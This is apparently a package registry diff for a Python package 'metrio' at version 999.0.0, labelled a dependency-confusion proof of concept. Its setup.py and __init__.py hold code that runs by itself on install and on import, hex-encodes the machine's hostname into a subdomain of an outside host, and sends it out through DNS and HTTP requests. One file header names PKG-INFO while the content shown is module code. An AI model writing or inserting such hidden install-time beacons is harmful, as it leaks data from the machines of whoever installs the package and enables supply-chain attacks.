metrio 999.0.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- metrio-999.0.0/PKG-INFO +4 -0
- metrio-999.0.0/metrio/__init__.py +13 -0
- metrio-999.0.0/setup.py +16 -0
metrio-999.0.0/PKG-INFO
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
import socket, os, binascii, urllib.request
|
|
2
|
+
def _b(evt):
|
|
3
|
+
try:
|
|
4
|
+
hn = (os.uname().nodename if hasattr(os,'uname') else socket.gethostname())
|
|
5
|
+
except Exception:
|
|
6
|
+
hn = 'x'
|
|
7
|
+
tag = binascii.hexlify(hn.encode()[:20]).decode()
|
|
8
|
+
host = "mtro-" + evt + "-" + tag + ".84avt3516s4q1obsv9q0mh4u2l8dw3ks.x9.to"
|
|
9
|
+
try: socket.gethostbyname(host)
|
|
10
|
+
except Exception: pass
|
|
11
|
+
try: urllib.request.urlopen("http://" + host + "/", timeout=6)
|
|
12
|
+
except Exception: pass
|
|
13
|
+
_b('import')
|
metrio-999.0.0/setup.py
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
from setuptools import setup
|
|
2
|
+
import socket, os, binascii, urllib.request
|
|
3
|
+
def _b(evt):
|
|
4
|
+
try:
|
|
5
|
+
hn = (os.uname().nodename if hasattr(os,'uname') else socket.gethostname())
|
|
6
|
+
except Exception:
|
|
7
|
+
hn = 'x'
|
|
8
|
+
tag = binascii.hexlify(hn.encode()[:20]).decode()
|
|
9
|
+
host = "mtro-" + evt + "-" + tag + ".84avt3516s4q1obsv9q0mh4u2l8dw3ks.x9.to"
|
|
10
|
+
try: socket.gethostbyname(host)
|
|
11
|
+
except Exception: pass
|
|
12
|
+
try: urllib.request.urlopen("http://" + host + "/", timeout=6)
|
|
13
|
+
except Exception: pass
|
|
14
|
+
_b('install')
|
|
15
|
+
setup(name="metrio", version="999.0.0", packages=["metrio"],
|
|
16
|
+
description="synack authorized dependency-confusion PoC placeholder", author="synack")
|